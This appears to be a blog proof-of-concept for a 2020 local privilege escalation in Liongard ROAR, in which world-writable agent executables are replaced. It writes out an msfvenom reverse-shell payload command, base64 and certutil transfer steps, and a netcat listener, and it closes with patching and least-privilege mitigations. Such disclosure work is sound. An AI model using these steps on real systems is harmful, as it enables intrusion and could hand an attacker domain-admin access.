Liongard ROAR is an automated documentation system that collects daily snapshots of configuration data for cloud, network, and on-premise systems.
In April 2020, a local privilege escalation vulnerability was discovered that would allow an attacker the ability to modify executables placed on a system by the RoarAgent installer. Should those executables be modified to contain specific exploit code, an attacker would be able to leverage this to escalate their privileges to the same user context used by the RoarAgent service.
This guide intends to serve as a proof-of-concept, and will not go into detail on bypassing antivirus or other security measures.
Table of Contents:
- Setting the Stage
- Preparing the Payload
- Transferring the Payload
- Performing the Attack
- Mitigation
Setting the Stage
Before we begin, it is important to note that this is a privilege escalation exploit. This assumes that an attacker already has access to the system that they wish to exploit, and this will not work without access to the machine with at least a low-level user account.
Note: ROAR is typically installed on a Domain Controller. Since most Domain Controllers do not usually allow low-level users access to the system, an argument can be made that this vulnerability is low severity. However, it is important to note that ROAR can be installed on non-Domain Controller systems as well.
The vulnerability exists due to the way the installer assigns security permissions to the files within the following directory:
C:\Program Files (x86)\LiongardInc\RoarAgent
Reviewing the files at this directory reveals that all executables have Full Control assigned to Everyone.
No matter what user we’re logged in as, we have the ability to Modify this file. What were to happen if we were to place a malicious executable with the name RoarAgentSVC.exe in this directory, overwrite the existing file, and restart the Roar Agent service?
This particular file that we’re observing in the above screenshot is the executable that runs when the Roar Agent service is started within services.msc.
This service runs within a specific user context as specified by the administrator when installing the software. According to Liongard’s documentation, they suggest using a Domain Admin for the Log On As user.
Preparing the Payload
Spin up a Kali instance, and let’s start by generating a quick EXE payload. If you haven’t already, check out my MSFVenom Cheatsheet where I share the command I’m about to use, along with many others that may come in handy for you in the future.
sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Obviously you’ll want to replace LHOST and LPORT with the appropriate value for your environment.
Transferring the Payload
With our payload ready, we need to transfer it to the target machine. There are a number of ways to do this, but I’ll simply encode this file in Base64 format since it’s not very large.
base64 -w0 shell-x64.exe
We can then copy results to our clipboard.
And paste it into a text file on our target machine. I’ll create a new text document called RoarAgentSVC.b64 and store the contents there.
With the contents of our Base64 payload on the machine, we need to decode it, and overwrite the RoarAgentSVC.exe executable. I’m going to rename RoarAgentSVC.exe to RoarAgentSVC.bak so we can easily revert our changes once finished.
We can now leverage CertUtil decode the contents of our Base64 encoded file.
certutil -decode RoarAgentSVC.b64 RoarAgentSVC.exe
Performing the Attack
We now have everything in place. If the user we’re logged in as does not have permission to restart the service or issue a reboot, we simply have to wait for a maintenance window to occur. The next time the Roar Agent service gets executed, so should our malicous payload which should trigger a reverse shell back to our attacking machine.
To make sure we catch the reverse shell, let’s spin up a netcat listener.
sudo nc -nvlp 443
For sake of demonstration, we will restart the service on the victim machine.
Which then executes our payload, and sends us a reverse shell.
A quick whoami and net user command(s) shows us what user context we’re running as.
Mitigation
Option A: Patching
The easiest mitigation strategy is to upgrade your version of Liongard ROAR to 1.9.76 or greater. Liongard’s official documentation on this topic can be found at https://docs.liongard.com/docs/critical-security-patch-2020-04-24
Option B: Principle of Lease Privilege
Consider reviewing what user-context your Roar service runs in. Had we had the service run with Domain-Admin rights in our example, or even local admin privileges on a domain controller, an attacker could leverage this vulnerability to gain access across an entire enterprise with a single attack.
You have to dig for it a bit in their documentation, but you can find details on creating a non-domain admin service account.
Infinite Logins 